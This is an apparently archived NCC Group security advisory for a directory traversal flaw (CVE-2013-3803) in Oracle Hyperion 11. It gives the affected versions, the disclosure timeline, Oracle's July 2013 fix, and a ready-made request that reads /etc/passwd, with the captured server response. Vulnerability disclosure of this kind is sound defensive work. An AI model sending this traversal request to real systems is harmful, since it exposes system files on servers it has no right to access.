82 lines
No EOL
2.1 KiB
Text
82 lines
No EOL
2.1 KiB
Text
=======
|
|
Summary
|
|
=======
|
|
Name: Oracle Hyperion 11 - Directory Traversal
|
|
Release Date: 30 July 2013
|
|
Reference: NGS00434
|
|
Discoverer: Richard Warren <richard.warren@nccgroup.com>
|
|
Vendor: Oracle
|
|
Vendor Reference: S0318807
|
|
Systems Affected: Oracle Hyperion 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier, and 11.1.2.2.305 and earlier
|
|
Risk: High
|
|
Status: Published
|
|
|
|
========
|
|
TimeLine
|
|
========
|
|
Discovered: 20 November 2012
|
|
Released: 20 November 2012
|
|
Approved: 20 November 2012
|
|
Reported: 20 November 2012
|
|
Fixed: 16 July 2013
|
|
Published: 30 July 2013
|
|
|
|
===========
|
|
Description
|
|
===========
|
|
Product: Oracle
|
|
Application: Hyperion
|
|
Version: 11.x
|
|
|
|
Vulnerability
|
|
-------------
|
|
|
|
The application was found to be vulnerable to a directory traversal attack.
|
|
The following URL resulted in directory transversal.
|
|
http://localhost:19000/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../LFI_HERE
|
|
|
|
=================
|
|
Technical Details
|
|
=================
|
|
Exploitation
|
|
------------
|
|
|
|
The following request/response was observed:
|
|
|
|
GET
|
|
/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../etc/passwd
|
|
HTTP/1.0
|
|
|
|
HTTP/1.1 200 OK
|
|
Date: Mon, 12 Nov 2012 15:28:10 GMT
|
|
Server: Oracle-Application-Server-11g
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
Expires: Mon, 1 Jan 1990 00:00:00 GMT
|
|
Last-Modified: Mon, 12 Nov 2012 15:28:10 GMT
|
|
X-ORACLE-DMS-ECID: 004n^rmuJTjAtH^5lV5EiZ0004FS0058zX
|
|
X-Powered-By: Servlet/2.5 JSP/2.1
|
|
Connection: close
|
|
Content-Type: text/plain
|
|
Content-Language: en
|
|
|
|
root:x:0:0:root:/root:/bin/bash
|
|
bin:x:1:1:bin:/bin:/sbin/nologin
|
|
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
|
--SNIP--
|
|
|
|
===============
|
|
Fix Information
|
|
===============
|
|
Fixed in Oracle CPU July 2013:
|
|
http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html
|
|
Assigned CVE-2013-3803
|
|
|
|
|
|
NCC Group Research
|
|
http://www.nccgroup.com/research
|
|
|
|
|
|
For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
|
|
This email message has been delivered safely and archived online by Mimecast.
|
|
</a> |